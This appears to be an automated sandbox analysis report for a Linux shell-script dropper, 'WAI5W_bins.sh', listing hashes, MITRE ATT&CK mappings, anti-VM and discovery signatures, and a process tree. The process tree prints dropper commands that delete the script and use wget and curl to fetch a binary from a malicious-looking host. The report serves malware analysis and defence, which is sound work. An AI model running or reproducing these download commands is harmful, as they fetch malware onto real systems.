f4753da29d120400a103b808d14bde88c9003a6e4d3f52ddf9de2d5b96b77846

Analysis

max time kernel
148s
max time network
41s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 02:49

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General

Target
WAI5W_bins.sh
Size 10KB
Sample241120-da9xpazcpl
SHA256 f4753da29d120400a103b808d14bde88c9003a6e4d3f52ddf9de2d5b96b77846
MD5 870412aa111e349e42e1f548ec8a403b
SHA1 153e8fcedb429489b3693cc5cedeea4941f50863
SHA512 80c0d64609a745be89da8498981397db3523be1ecd3ec0a572884e7c6f78b3daddf65d840bf0330d1de60961c4cf648168ff448090fc66701736735404041ef0
SSDEEP 192:7c8YN2uxllcj/ZuuUrdzr8YN2uZllcj/l0VW:7c8YN2u2uuUrtr8YN2ug0k
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
666	wget
671	curl

/tmp/WAI5W_bins.sh
/tmp/WAI5W_bins.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - System Network Configuration Discovery
  PID:666
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:671

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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